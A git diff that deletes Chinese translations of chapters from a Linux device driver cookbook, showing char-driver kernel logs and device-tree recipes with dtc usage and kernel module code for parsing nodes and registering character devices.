- -For further information about `grep`, just see its man page with `man grep`. - -由于引用 root 用户的那一行是`/etc/passwd`中的第一行之一,肯定已经复制到字符驱动中了,然后我们就如预期的那样得到了。为了完整起见,下面报告了相关的内核消息,在这些消息中,我们可以看到`grep`对我们的驱动进行的所有系统调用: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_read: should read 32768 bytes (*ppos=0) -chrdev_legacy:chrdev_read: return 300 bytes (*ppos=300) -chrdev_legacy:chrdev_read: should read 32768 bytes (*ppos=300) -chrdev_legacy:chrdev_read: return 0 bytes (*ppos=300) -chrdev_legacy:chrdev_release: chrdev released -``` - -# 它是如何工作的... - -使用前面的`dd`命令,我们生成三个 100 字节长的块,并将其传递给`write()`系统调用;事实上,如果我们看一下内核消息,我们会清楚地看到发生了什么: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_write: should write 100 bytes (*ppos=0) -chrdev_legacy:chrdev_write: got 100 bytes (*ppos=100) -chrdev_legacy:chrdev_write: should write 100 bytes (*ppos=100) -chrdev_legacy:chrdev_write: got 100 bytes (*ppos=200) -chrdev_legacy:chrdev_write: should write 100 bytes (*ppos=200) -chrdev_legacy:chrdev_write: got 100 bytes (*ppos=300) -chrdev_legacy:chrdev_release: chrdev released -``` - -第一次调用,`open()`后,`ppos`设置为`0`,写入数据后移动到 100。然后,在接下来的调用中,`ppos`增加 100 字节,直到达到 300。 - -在*第 2 步*中,当我们发出`cat`命令时,看到内核空间中发生了什么真的很有趣,所以让我们看看与之相关的内核消息: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_read: should read 131072 bytes (*ppos=0) -chrdev_legacy:chrdev_read: return 300 bytes (*ppos=300) -chrdev_legacy:chrdev_read: should read 131072 bytes (*ppos=300) -chrdev_legacy:chrdev_read: return 0 bytes (*ppos=300) -chrdev_legacy:chrdev_release: chrdev released -``` - -如我们所见,`cat`要求 131,072 字节,但是,由于我们的缓冲区较短,因此只返回 300 字节;然后,`cat`再次执行`read()`请求 131,072 字节,但是现在`ppos`指向文件的结尾,所以返回 0 只是为了表示文件的结尾条件。 - -当我们试图向设备文件中写入太多数据时,我们显然会收到一条错误消息,但真正有趣的是在内核中: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_write: should write 1285 bytes (*ppos=0) -chrdev_legacy:chrdev_write: got 300 bytes (*ppos=300) -chrdev_legacy:chrdev_write: should write 985 bytes (*ppos=300) -chrdev_legacy:chrdev_write: got 0 bytes (*ppos=300) -chrdev_legacy:chrdev_release: chrdev released -``` - -首先,`write()`调用要求写入 1285 字节(这是`/etc/passwd`的真实大小),但实际只写入了 300 字节(由于缓冲区大小有限)。然后,第二个`write()`调用请求写入 985 字节( *1,285-300* 字节),但现在`ppos`指向 300,这意味着缓冲区已满,然后返回 0(写入的字节),这已被 write 命令解释为设备错误情况下没有剩余空间。 - -在*步骤 4* 中,与前面的`grep`命令相关的内核消息报告如下: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_read: should read 32768 bytes (*ppos=0) -chrdev_legacy:chrdev_read: return 300 bytes (*ppos=300) -chrdev_legacy:chrdev_read: should read 32768 bytes (*ppos=300) -chrdev_legacy:chrdev_read: return 0 bytes (*ppos=300) -chrdev_legacy:chrdev_release: chrdev released -``` - -我们可以很容易地看到`grep`命令首先使用`open()`系统调用打开我们的设备文件,然后它继续用`read()`读取数据,直到我们的驱动返回文件结尾(用 0 寻址),最后它执行`close()`系统调用释放我们的驱动。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/04.md b/docs/linux-device-driver-dev-cb/04.md deleted file mode 100644 index 949968fc..00000000 --- a/docs/linux-device-driver-dev-cb/04.md +++ /dev/null @@ -1,1319 +0,0 @@ -# 四、使用设备树 - -现代计算机真的是由复杂的外设组成的复杂系统,有成吨的不同配置设置;这就是为什么将设备驱动配置的所有可能变体保存在一个专用文件中可以解决很多问题。对系统的结构进行逻辑描述(也就是说,它们是如何相互连接的,而不仅仅是它们的列表)可以让系统开发人员将注意力集中在设备驱动机制上,而无需管理所有可能的用户设置。 - -此外,了解每个外设是如何连接到系统的(例如,外设依赖于哪条总线),可以实现真正智能的外设管理系统。这样的系统能够以正确的顺序正确地激活(或停用)特定设备工作所需的所有子系统。 - -让我们回顾一个例子:想想一个 u 盘,当插入你的电脑时,它会激活几个设备。系统知道 USB 端口连接到特定的 USB 控制器,该控制器在特定的地址映射到系统的内存中,以此类推。 - -出于所有这些原因(以及其他原因),Linux 开发人员采用了**设备树**,简单来说,这是一种描述硬件的数据结构。它不是将每个内核设置硬编码到代码中,而是可以用定义良好的数据结构来描述,该数据结构在引导加载程序引导期间被传递给内核。这也是所有设备驱动(和其他内核实体)可以获取其配置数据的地方。 - -设备树和内核配置文件(Linux 源码上目录中的`.config`文件)的主要区别在于,虽然这样的文件告诉我们内核的哪些组件是启用的,哪些不是,但是设备树保存着它们的配置。因此,如果我们希望从内核的来源向我们的系统添加一个驱动,我们必须在`.config`文件中指定它。另一方面,如果我们希望指定驱动的设置(内存地址、特殊设置等),我们必须在设备树中指定它们。 - -在这一章中,我们将看到如何编写一个设备树,以及如何从中获取对驱动有用的信息。 - -本章由以下食谱组成: - -* 使用设备树编译器和实用程序 -* 从设备树中获取特定于应用的数据 -* 使用设备树描述角色驱动 -* 下载固件 -* 为特定外围设备配置中央处理器的引脚 - -# 技术要求 - -您可以在*附录中找到本章的更多信息。* - -本章使用的代码和其他文件可以在[https://GitHub . com/gio metti/Linux _ device _ driver _ development _ cook book/tree/master/chapter _ 04](https://github.com/giometti/linux_device_driver_development_cookbook/tree/master/chapter_04)下载。 - -# 使用设备树编译器和实用程序 - -我们需要合适的工具将我们的代码转换成 Linux 可以理解的二进制格式。具体来说,我们需要一种方法将**设备树源** ( **DTS** )文件转换为其二进制形式:**设备树二进制** ( **DTB** )。 - -在这个食谱中,我们将发现如何在我们的系统上安装**设备树编译器** ( `dtc`)以及如何使用它为任何设备树生成二进制文件。 - -# 准备好 - -要将 DTS 文件转换为 DTB 文件,我们必须使用**设备树编译器**(命名为`dtc`)和一组适当的工具,我们可以使用这些工具来检查或操作 DTB 文件(**设备树实用程序**)。 - -每一个最近的 Linux 版本都在`linux/scripts/dtc`目录中有自己的`dtc`程序副本,在内核编译期间使用。然而,我们不需要安装 Linux 源代码就可以在 Ubuntu 上运行`dtc`及其实用程序;事实上,我们可以通过使用如下常用的安装命令来获得它们: - -```sh -$ sudo apt install device-tree-compiler -``` - -安装后,我们可以如下执行`dtc`编译器,以显示其版本: - -```sh -$ dtc -v -Version: DTC 1.4.5 -``` - -# 怎么做... - -现在,我们准备使用以下步骤将第一个 DTS 文件转换为其等效的 DTB 二进制形式。 - -1. 我们可以通过使用带有以下命令行的`dtc`编译器来做到这一点: - -```sh -$ dtc -o simple_platform.dtb simple_platform.dts -``` - -`simple_platform.dts` can be retrieved from GitHub sources; however the reader can use his/her own DTS file to test `dtc`. - -现在,我们的 DTB 文件应该在当前目录中可用: - -```sh -$ file simple_platform.dtb -simple_platform.dtb: Device Tree Blob version 17, size=1602, boot CPU=0, string block size=270, DT structure block size=1276 -``` - -# 它是如何工作的... - -将 DTS 文件转换成 DTB 文件类似于普通编译器的工作方式,但是应该说一下反向操作。 - -如果我们看一下`simple_platform-reverted.dts`,我们注意到它看起来非常类似于原始的`simple_platform.dts`文件(除了显形、标签和十六进制形式的数字);事实上,关于时钟设置,我们有以下不同之处: - -```sh -$ diff -u simple_platform.dts simple_platform-reverted.dts | tail -29 -- clks: clock@f00 { -+ clock@f00 { - compatible = "fsl,mpc5121-clock"; - reg = <0xf00 0x100>; -- #clock-cells = <1>; -- clocks = <&osc>; -+ #clock-cells = <0x1>; -+ clocks = <0x1>; - clock-names = "osc"; -+ phandle = <0x3>; - }; -``` - -关于串行控制器设置,我们有以下不同之处: - -```sh - -- serial0: serial@11100 { -+ serial@11100 { - compatible = "fsl,mpc5125-psc-uart", "fsl,mpc5125-psc"; - reg = <0x11100 0x100>; -- interrupt-parent = <&ipic>; -- interrupts = <40 0x8>; -- fsl,rx-fifo-size = <16>; -- fsl,tx-fifo-size = <16>; -- clocks = <&clks 47>, <&clks 34>; -+ interrupt-parent = <0x2>; -+ interrupts = <0x28 0x8>; -+ fsl,rx-fifo-size = <0x10>; -+ fsl,tx-fifo-size = <0x10>; -+ clocks = <0x3 0x2f 0x3 0x22>; - clock-names = "ipg", "mclk"; - }; - }; -``` - -从前面的输出中,我们可以看到`serial0`和`clks`标签已经消失,因为它们在 DTB 文件中是不需要的;显形现在也被明确报告,相应的符号名如`ipic`和`clks`被替换,所有的数字都被转换成十六进制形式。 - -# 还有更多... - -设备树是一个非常复杂的软件,它是描述一个系统的强大方式,这就是为什么我们需要更多地谈论它。我们还应该看看设备树实用程序,因为对于内核开发人员来说,管理设备树二进制形式非常有用。 - -# 将二进制设备树还原为其源 - -`dtc`程序可以恢复编译过程,允许开发人员使用如下命令行从二进制文件中检索源文件: - -```sh -$ dtc -o simple_platform-reverted.dts simple_platform.dtb -``` - -当我们需要检查 DTB 文件时,这非常有用。 - -# 请参见 - -* 关于`dtc`编译器的更多信息,读者可以在[https://git . kernel . org/pub/SCM/utils/DTC/DTC . git/tree/Documentation/manual . txt](https://git.kernel.org/pub/scm/utils/dtc/dtc.git/tree/Documentation/manual.txt)查看设备树用户手册。 -* 关于设备树实用程序,一个很好的起点是它们各自的手册页(`man fdtput`、`man fdtget`等等)。 - -# 从设备树中获取特定于应用的数据 - -现在我们知道如何读取设备树文件以及如何在用户空间中管理它。在这个食谱中,我们将看到如何提取它在内核中保存的配置设置。 - -# 准备好 - -为了完成我们的工作,我们可以使用存储在 DTB 的所有数据来启动我们的 ESPRESSObin,然后使用 ESPRESSObin 作为系统测试。 - -我们知道,ESPRESSObin 的 DTS 文件存储在`linux/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts`的内核源中,或者可以通过执行`dtc`命令从运行的内核中提取,如以下代码所示: - -```sh -# dtc -I fs -o espressobin-reverted.dts /proc/device-tree/ -``` - -现在让我们把这个文件拆开,因为我们可以用它来验证我们刚刚读取的数据是正确的。 - -# 怎么做... - -为了展示我们如何从运行的设备树中读取数据,我们可以使用一个来自 GitHub 源的内核模块(就像文件`get_dt_data.c`中报告的那个)。 - -1. 在文件中,我们有一个空的模块`exit()`函数,因为我们在模块的`init()`函数中没有分配任何东西;事实上,它只是向我们展示了如何解析设备树。`get_dt_data_init()`函数接受一个可选的输入参数:存储在`path`变量中的设备树路径,该变量在以下代码片段中定义: - -```sh -#define PATH_DEFAULT "/" -static char *path = PATH_DEFAULT; -module_param(path, charp, S_IRUSR | S_IWUSR); -MODULE_PARM_DESC(path, "a device tree pathname " \ - "(default is \"" PATH_DEFAULT "\")"); -``` - -2. 然后,作为第一步,`get_dt_data_init()`函数使用`of_find_node_by_path()`函数获取指向要检查的所需节点的指针: - -```sh -static int __init get_dt_data_init(void) -{ - struct device_node *node, *child; - struct property *prop; - - pr_info("path = \"%s\"\n", path); - - /* Find node by its pathname */ - node = of_find_node_by_path(path); - if (!node) { - pr_err("failed to find device-tree node \"%s\"\n", path); - return -ENODEV; - } - pr_info("device-tree node found!\n"); -``` - -3. 接下来,它调用`print_main_prop()`函数,该函数只打印节点的主要属性,如下所示: - -```sh -static void print_main_prop(struct device_node *node) -{ - pr_info("+ node = %s\n", node->full_name); - print_property_u32(node, "#address-cells"); - print_property_u32(node, "#size-cells"); - print_property_u32(node, "reg"); - print_property_string(node, "name"); - print_property_string(node, "compatible"); - print_property_string(node, "status"); -} -``` - -每个打印功能报告如下: - -```sh -static void print_property_u32(struct device_node *node, const char *name) -{ - u32 val32; - if (of_property_read_u32(node, name, &val32) == 0) - pr_info(" \%s = %d\n", name, val32); -} - -static void print_property_string(struct device_node *node, const char *name) -{ - const char *str; - if (of_property_read_string(node, name, &str) == 0) - pr_info(" \%s = %s\n", name, str); -} -``` - -4. 对于最后两个步骤,`get_dt_data_init()`函数使用`for_each_property_of_node()`宏显示节点的所有属性,`for_each_child_of_node()`宏迭代节点的所有子节点并显示其所有主要属性,如下图所示: - -```sh - pr_info("now move through all properties...\n"); - for_each_property_of_node(node, prop) - pr_info("-> %s\n", prop->name); - - /* Move through node's children... */ - pr_info("Now move through children...\n"); - for_each_child_of_node(node, child) - print_main_prop(child); - - /* Force module unloading... */ - return -EINVAL; - } -``` - -# 它是如何工作的... - -在第一步中,很明显,如果我们将模块插入到指定`path=`的内核中,我们会强制要求这个值;否则,我们只接受默认值,即根(由`/`字符表示)。其余的步骤是不言自明的。 - -理解代码应该非常容易;实际上`get_dt_data_init()`函数只是调用`of_find_node_by_path()`,传递设备路径名;没有错误,我们使用`print_main_prop()`来显示节点名称和节点的一些主要(或有趣)属性: - -```sh -static void print_main_prop(struct device_node *node) -{ - pr_info("+ node = %s\n", node->full_name); - print_property_u32(node, "#address-cells"); - print_property_u32(node, "#size-cells"); - print_property_u32(node, "reg"); - print_property_string(node, "name"); - print_property_string(node, "compatible"); - print_property_string(node, "status"); -} -``` - -请注意,`print_property_u32()`和`print_property_string()`功能的定义方式是,如果所提供的属性不存在,则不显示任何内容: - -```sh -static void print_property_u32(struct device_node *node, const char *name) -{ - u32 val32; - if (of_property_read_u32(node, name, &val32) == 0) - pr_info(" \%s = %d\n", name, val32); -} - -static void print_property_string(struct device_node *node, const char *name) -{ - const char *str; - if (of_property_read_string(node, name, &str) == 0) - pr_info(" \%s = %s\n", name, str); -} -``` - -Functions such as `of_property_read_u32()`/`of_property_read_string()` and `for_each_child_of_node()`/`for_each_property_of_node()` and friends are defined in the header file `linux/include/linux/of.h` of kernel sources. - -一旦从`get_dt_data.c`文件编译,我们应该得到它的编译版本名为`get_dt_data.ko`,适合加载到 ESPRESSObin: - -```sh -$ make KERNEL_DIR=../../../linux -make -C ../../../linux \ - ARCH=arm64 \ - CROSS_COMPILE=aarch64-linux-gnu- \ - SUBDIRS=/home/giometti/Projects/ldddc/github/chapter_4/get_dt_data modules -make[1]: Entering directory '/home/giometti/Projects/ldddc/linux' - CC [M] /home/giometti/Projects/ldddc/github/chapter_4/get_dt_data/get_dt_data.o - Building modules, stage 2. - MODPOST 1 modules - CC /home/giometti/Projects/ldddc/github/chapter_4/get_dt_data/get_dt_data.mod.o - LD [M] /home/giometti/Projects/ldddc/github/chapter_4/get_dt_data/get_dt_data.ko -make[1]: Leaving directory '/home/giometti/Projects/ldddc/linux' -``` - -以下是我们在新创建的内核模块中使用`modinfo`时应该得到的结果: - -```sh -# modinfo get_dt_data.ko -filename: /root/get_dt_data.ko -version: 0.1 -description: Module to inspect device tree from the kernel -author: Rodolfo Giometti -license: GPL -srcversion: 6926CA8AD5E7F8B45C97CE6 -depends: -name: get_dt_data -vermagic: 4.18.0 SMP preempt mod_unload aarch64 -parm: path:a device tree pathname (default is "/") (charp) -``` - -# 还有更多... - -好的,让我们通过使用以下命令来尝试使用`path`的默认值: - -```sh -# insmod get_dt_data.ko -``` - -我们应该得到如下输出: - -```sh -get_dt_data: path = "/" -get_dt_data: device-tree node found! -... -``` - -通过使用`/`作为路径名,我们显然在设备树中找到了对应的条目,因此输出继续如下: - -```sh -... -get_dt_data: now getting main properties... -get_dt_data: + node = -get_dt_data: #address-cells = 2 -get_dt_data: #size-cells = 2 -get_dt_data: name = -get_dt_data: compatible = globalscale,espressobin -get_dt_data: now move through all properties... -get_dt_data: -> model -get_dt_data: -> compatible -get_dt_data: -> interrupt-parent -get_dt_data: -> #address-cells -get_dt_data: -> #size-cells -get_dt_data: -> name -... -``` - -以下是根节点的所有属性,可以对照原始源或在`espressobin-reverted.dts`文件中进行验证: - -```sh -/ { - #address-cells = <0x2>; - model = "Globalscale Marvell ESPRESSOBin Board"; - #size-cells = <0x2>; - interrupt-parent = <0x1>; - compatible = "globalscale,espressobin", "marvell,armada3720", "marvell,armada3710"; -``` - -Readers should notice that, in this case, the `name` property is empty due to the fact we are inspecting the root node, and for the `compatible` property only the first entry is displayed because we used the `of_property_read_string()` function instead of the corresponding array  `of_property_read_string_array()` version and friends. - -在所有节点的属性之后,我们的程序将遍历它的所有子节点,如下所示: - -```sh -... -get_dt_data: Now move through children... -get_dt_data: + node = aliases -get_dt_data: name = aliases -get_dt_data: + node = cpus -get_dt_data: #address-cells = 1 -get_dt_data: #size-cells = 0 -get_dt_data: name = cpus -... -get_dt_data: + node = soc -get_dt_data: #address-cells = 2 -get_dt_data: #size-cells = 2 -get_dt_data: name = soc -get_dt_data: compatible = simple-bus -get_dt_data: + node = chosen -get_dt_data: name = chosen -get_dt_data: + node = memory@0 -get_dt_data: reg = 0 -get_dt_data: name = memory -get_dt_data: + node = regulator -get_dt_data: name = regulator -get_dt_data: compatible = regulator-gpio -... -``` - -此时,`get_dt_data_init()`功能做一个`return -EINVAL`,不是返回错误状态,而是强制模块卸载;事实上,作为最后一条打印出来的消息,我们看到了以下内容: - -```sh -insmod: ERROR: could not insert module get_dt_data.ko: Invalid parameters -``` - -现在,为了展示一种不同的用法,我们可以尝试通过在命令行中指定`path=/cpus`命令来询问关于系统 CPU 的信息: - -```sh -# insmod get_dt_data.ko path=/cpus -``` - -程序显示找到了一个节点: - -```sh -get_dt_data: path = "/cpus" -get_dt_data: device-tree node found! -``` - -然后它开始打印节点的信息: - -```sh -get_dt_data: now getting main properties... -get_dt_data: + node = cpus -get_dt_data: #address-cells = 1 -get_dt_data: #size-cells = 0 -get_dt_data: name = cpus -``` - -最后,它显示了所有孩子的属性: - -```sh -get_dt_data: now move through all properties... -get_dt_data: -> #address-cells -get_dt_data: -> #size-cells -get_dt_data: -> name -get_dt_data: Now move through children... -get_dt_data: + node = cpu@0 -get_dt_data: reg = 0 -get_dt_data: name = cpu -get_dt_data: compatible = arm,cortex-a53 -get_dt_data: + node = cpu@1 -get_dt_data: reg = 1 -get_dt_data: name = cpu -get_dt_data: compatible = arm,cortex-a53 -``` - -Note that the following error message can be safely ignored because we force it to automatically retrieve the module to be unloaded by the `insmod` command: -`insmod: ERROR: could not insert module get_dt_data.ko: Invalid parameters` - -以类似的方式,我们可以获得关于 I2C 控制器的信息,如下所示: - -```sh -# insmod get_dt_data.ko path=/soc/internal-regs@d0000000/i2c@11000 -get_dt_data: path = "/soc/internal-regs@d0000000/i2c@11000" -get_dt_data: device-tree node found! -get_dt_data: now getting main properties... -get_dt_data: + node = i2c@11000 -get_dt_data: #address-cells = 1 -get_dt_data: #size-cells = 0 -get_dt_data: reg = 69632 -get_dt_data: name = i2c -get_dt_data: compatible = marvell,armada-3700-i2c -get_dt_data: status = disabled -get_dt_data: now move through all properties... -... -``` - -# 请参见 - -* 要查看检查设备树的所有可用功能,读者可以查看包含的`linux/include/linux/of.h`文件,该文件有很好的记录。 - -# 使用设备树描述角色驱动 - -此时,我们已经拥有了通过使用设备树来定义新角色设备所需的所有信息。特别是这一次,为了注册我们的`chrdev`设备,我们可以使用我们在 [第 3 章](03.html)*中跳过的新 API,使用字符驱动*。 - -# 准备好 - -如前一段所述,我们可以使用设备树节点向系统添加新设备。特别是,我们可以获得如下所述的定义: - -```sh -chrdev { - compatible = "ldddc,chrdev"; - #address-cells = <1>; - #size-cells = <0>; - - chrdev@2 { - label = "cdev-eeprom"; - reg = <2>; - }; - - chrdev@4 { - label = "cdev-rom"; - reg = <4>; - read-only; - }; -}; -``` - -All these modifications can be applied using the  `add_chrdev_devices.dts.patch` file  in the root directory of the kernel sources, as shown in the following: - -**`$ patch -p1 < ../github/chapter_04/chrdev/add_chrdev_devices.dts.patch`** -Then the kernel must be recompiled and reinstalled (with the ESPRESSObin's DTB file) in order to take effect. - -在这个例子中,我们定义了一个`chrdev`节点,它定义了一组与`"ldddc,chrdev"`和两个子节点兼容的新设备;每个子节点用自己的设置定义一个特定的设备。第一个子节点定义了一个标记为`"cdev-eeprom"`的`"ldddc,chrdev"`设备,其`reg`属性等于`2`,而第二个子节点定义了另一个标记为`"cdev-rom"`的`"ldddc,chrdev"`设备,其`reg`属性等于`4`,其`read-only`属性。 - -`#address-cells`和`#size-cells`属性必须是 1 和 0,因为子设备的`reg`属性包含一个表示“设备地址”的值。事实上,可寻址的设备使用`#address-cells`、`#size-cells`和`reg`属性将地址信息编码到设备树中。 - -每个可寻址设备获得一个`reg`属性,如下所示: - -```sh -reg = -``` - -每个元组代表设备使用的地址范围,每个地址或长度值是一个或多个 32 位整数的列表,称为**单元**(长度也可以是空的,如我们的示例所示)。 - -由于地址和长度字段可能不同且大小可变,父节点中的`#address-cells`和`#size-cells`属性用于说明每个子节点字段中有多少单元。 - -For further information regarding the  `#address-cells`, `#size-cells`, and `reg` properties, you can take a look at the device tree specification at [https://www.devicetree.org/specifications/](https://www.devicetree.org/specifications/). - -# 怎么做... - -现在是时候看看我们如何使用前面的设备树定义来创建我们的 char 设备了(请注意,这次我们将创建多个设备!). - -1. 模块的`init()`和`exit()`功能都必须重写,如以下代码所示。`chrdev_init()`样子如下: - -```sh -static int __init chrdev_init(void) -{ - int ret; - - /* Create the new class for the chrdev devices */ - chrdev_class = class_create(THIS_MODULE, "chrdev"); - if (!chrdev_class) { - pr_err("chrdev: failed to allocate class\n"); - return -ENOMEM; - } - - /* Allocate a region for character devices */ - ret = alloc_chrdev_region(&chrdev_devt, 0, MAX_DEVICES, "chrdev"); - if (ret < 0) { - pr_err("failed to allocate char device region\n"); - goto remove_class; - } - - pr_info("got major %d\n", MAJOR(chrdev_devt)); - - return 0; - -remove_class: - class_destroy(chrdev_class); - - return ret; -} -``` - -2. `chrdev_exit()`功能如下: - -```sh -static void __exit chrdev_exit(void) -{ - unregister_chrdev_region(chrdev_devt, MAX_DEVICES); - class_destroy(chrdev_class); -} -``` - -All code can be retrieved from GitHub sources in the `chrdev.c` file. - -3. 如果我们尝试将模块插入内核,我们应该会得到如下结果: - -```sh -# insmod chrdev.ko -chrdev: loading out-of-tree module taints kernel. -chrdev:chrdev_init: got major 239 -``` - -4. 要创建角色设备,我们必须使用下一个`chrdev_device_register()`功能,但是我们必须首先检查设备是否已经创建: - -```sh -int chrdev_device_register(const char *label, unsigned int id, - unsigned int read_only, - struct module *owner, struct device *parent) -{ - struct chrdev_device *chrdev; - dev_t devt; - int ret; - - /* First check if we are allocating a valid device... */ - if (id >= MAX_DEVICES) { - pr_err("invalid id %d\n", id); - return -EINVAL; - } - chrdev = &chrdev_array[id]; - - /* ... then check if we have not busy id */ - if (chrdev->busy) { - pr_err("id %d\n is busy", id); - return -EBUSY; - } -``` - -然后我们做一些比前一章稍微复杂一点的事情,在这一章中我们简单地调用了`register_chrdev()`函数;现在真正重要的是`cdev_init()`、`cdev_add()`和`device_create()`函数的调用顺序,它们实际上完成了工作,如下所示: - -```sh - /* Create the device and initialize its data */ - cdev_init(&chrdev->cdev, &chrdev_fops); - chrdev->cdev.owner = owner; - - devt = MKDEV(MAJOR(chrdev_devt), id); - ret = cdev_add(&chrdev->cdev, devt, 1); - if (ret) { - pr_err("failed to add char device %s at %d:%d\n", - label, MAJOR(chrdev_devt), id); - return ret; - } - - chrdev->dev = device_create(chrdev_class, parent, devt, chrdev, - "%s@%d", label, id); - if (IS_ERR(chrdev->dev)) { - pr_err("unable to create device %s\n", label); - ret = PTR_ERR(chrdev->dev); - goto del_cdev; - } -``` - -一旦`device_create()`函数返回成功,我们使用`dev_set_drvdata()`函数保存一个指向我们的驱动数据的指针,然后像这样初始化: - -```sh - dev_set_drvdata(chrdev->dev, chrdev); - - /* Init the chrdev data */ - chrdev->id = id; - chrdev->read_only = read_only; - chrdev->busy = 1; - strncpy(chrdev->label, label, NAME_LEN); - memset(chrdev->buf, 0, BUF_LEN); - - dev_info(chrdev->dev, "chrdev %s with id %d added\n", label, id); - - return 0; - -del_cdev: - cdev_del(&chrdev->cdev); - - return ret; -} -EXPORT_SYMBOL(chrdev_device_register); -``` - -所有这些功能都在`struct chrdev_device`上运行,定义如下: - -```sh -/* Main struct */ -struct chrdev_device { - char label[NAME_LEN]; - unsigned int busy : 1; - char buf[BUF_LEN]; - int read_only; - - unsigned int id; - struct module *owner; - struct cdev cdev; - struct device *dev; -}; -``` - -# 它是如何工作的... - -在*功能内的第 1 步*、**、**中,这次我们使用了`alloc_chrdev_region()`功能,要求内核预留一些名为`chrdev`的字符设备(在我们这里,这个数字相当于`MAX_DEVICES`的定义)。`chrdev`信息随后存储在`chrdev_devt`变量中。 - -在这里,我们应该小心,注意我们也通过调用`class_create()`函数来创建一个设备类。为设备树定义的每个设备必须属于一个适当的类,由于我们的`chrdev`驱动是新的,我们需要一个专用的类。 - -In the next steps, I will be more clear about the reason we need to do it this way; for the moment, we should consider it as a compulsory data allocation. -It's quite clear that the  `unregister_chrdev_region()` function just releases all of the `chrdev` data allocated in `with alloc_chrdev_region()`. In *step 3*, if we take a look at the `/proc/devices` file, we get the following: - -```sh -# grep chrdev /proc/devices -239 chrdev -``` - -很好!现在我们有了类似于[第 3 章](https://cdp.packtpub.com/linux_device_driver_development_cookbook/wp-admin/post.php?post=27&action=edit#post_26)、*与字符驱动*合作的东西!但是,这一次,如果我们试图用`mknod`创建一个特殊的字符文件,并试图从中读取,我们会得到一个错误! - -```sh -# mknod /dev/chrdev c 239 0 -# cat /dev/chrdev -cat: /dev/chrdev: No such device or address -``` - -内核告诉我们设备不存在!这是因为我们还没有创建任何东西,只是保留了一些内核内部数据。 - -在*步骤 4* 、中,前四个字段只是相对于我们的特定实现,而后四个字段几乎存在于每个字符驱动实现中:`id`字段只是每个`chrdev`的唯一标识符(请记住,我们的实现支持`MAX_DEVICES`实例),`owner`指针用于存储我们的驱动模块的所有者,`cdev`结构保存关于我们的字符设备的所有内核数据,`dev`指针指向与我们在设备树中指定的内核相关的内核`struct device`。 - -所以,`cdev_init()`是用我们的文件操作来初始化`cdev`;`cdev_add()`用于定义我们司机的主要和次要号码;`device_create()`用于将`devt`数据粘贴到`dev`指向的数据上;我们的`chrdev`类(由`chrdev_class`指针表示)实际上创建了字符设备。 - -但是`chrdev.c`文件中没有任何函数调用`chrdev_device_register()`函数;这就是为什么使用`EXPORT_SYMBOL()`定义将其声明为导出符号的原因。事实上,这个函数被称为`chrdev_req_probe()`函数,在另一个模块中被定义为名为`chrdev-req.c`的文件,这在下面的代码片段中有所报道。该功能首先了解我们需要注册多少台设备: - -```sh -static int chrdev_req_probe(struct platform_device *pdev) -{ - struct device *dev = &pdev->dev; - struct fwnode_handle *child; - struct module *owner = THIS_MODULE; - int count, ret; - - /* If we are not registering a fixed chrdev device then get - * the number of chrdev devices from DTS - */ - count = device_get_child_node_count(dev); - if (count == 0) - return -ENODEV; - if (count > MAX_DEVICES) - return -ENOMEM; -``` - -然后,对于每个设备,在读取设备属性后,`chrdev_device_register()`调用在系统上注册该设备(对于设备树中报告的每个设备,如前面的代码所示): - -```sh - device_for_each_child_node(dev, child) { - const char *label; - unsigned int id, ro; - - /* - * Get device's properties - */ - - if (fwnode_property_present(child, "reg")) { - fwnode_property_read_u32(child, "reg", &id); - } else { -... - - } - ro = fwnode_property_present(child, "read-only"); - - /* Register the new chr device */ - ret = chrdev_device_register(label, id, ro, owner, dev); - if (ret) { - dev_err(dev, "unable to register"); - } - } - - return 0; -} -``` - -但是系统怎么知道什么时候必须调用`chrdev_req_probe()`函数呢?嗯,继续看`chrdev-req.c`就很清楚了;事实上,在接近结尾时,我们发现了以下代码: - -```sh -static const struct of_device_id of_chrdev_req_match[] = { - { - .compatible = "ldddc,chrdev", - }, - { /* sentinel */ } -}; -MODULE_DEVICE_TABLE(of, of_chrdev_req_match); - -static struct platform_driver chrdev_req_driver = { - .probe = chrdev_req_probe, - .remove = chrdev_req_remove, - .driver = { - .name = "chrdev-req", - .of_match_table = of_chrdev_req_match, - }, -}; -module_platform_driver(chrdev_req_driver); -``` - -当我们将`chrdev-req.ko`模块插入内核时,我们使用`module_platform_driver()`定义一个新的平台驱动,然后内核开始寻找`compatible`属性设置为`"ldddc,chrdev"`的节点;如果找到,它将执行我们设置为`chrdev_req_probe()`的`probe`指针所指向的功能。这将导致注册新的驱动。 - -在展示它是如何工作的之前,让我们看一下相反的步骤,目的是在角色驱动分配期间从内核释放我们请求的任何东西。当我们移除`chrdev-req.ko`模块时,内核调用平台驱动的`remove`功能,也就是`chrdev-req.c`文件中的`chrdev_req_remove()`,部分报告如下: - -```sh -static int chrdev_req_remove(struct platform_device *pdev) -{ - struct device *dev = &pdev->dev; - struct fwnode_handle *child; - int ret; - - device_for_each_child_node(dev, child) { - const char *label; - int id; - - /* - * Get device's properties - */ - - if (fwnode_property_present(child, "reg")) - fwnode_property_read_u32(child, "reg", &id); - else - BUG(); - if (fwnode_property_present(child, "label")) - fwnode_property_read_string(child, "label", &label); - else - BUG(); - - /* Register the new chr device */ - ret = chrdev_device_unregister(label, id); - if (ret) - dev_err(dev, "unable to unregister"); - } - - return 0; -} -``` - -该函数位于`chrdev.c`文件中,调用`chrdev_device_unregister()`(针对设备树中的每个`chrdev`节点),报告如下;它从做一些健全性检查开始: - -```sh - -int chrdev_device_unregister(const char *label, unsigned int id) -{ - struct chrdev_device *chrdev; - - /* First check if we are deallocating a valid device... */ - if (id >= MAX_DEVICES) { - pr_err("invalid id %d\n", id); - return -EINVAL; - } - chrdev = &chrdev_array[id]; - - /* ... then check if device is actualy allocated */ - if (!chrdev->busy || strcmp(chrdev->label, label)) { - pr_err("id %d is not busy or label %s is not known\n", - id, label); - return -EINVAL; - } -``` - -但是随后它通过使用`device_destroy()`和`cdev_del()`功能注销驱动: - -```sh - /* Deinit the chrdev data */ - chrdev->id = 0; - chrdev->busy = 0; - - dev_info(chrdev->dev, "chrdev %s with id %d 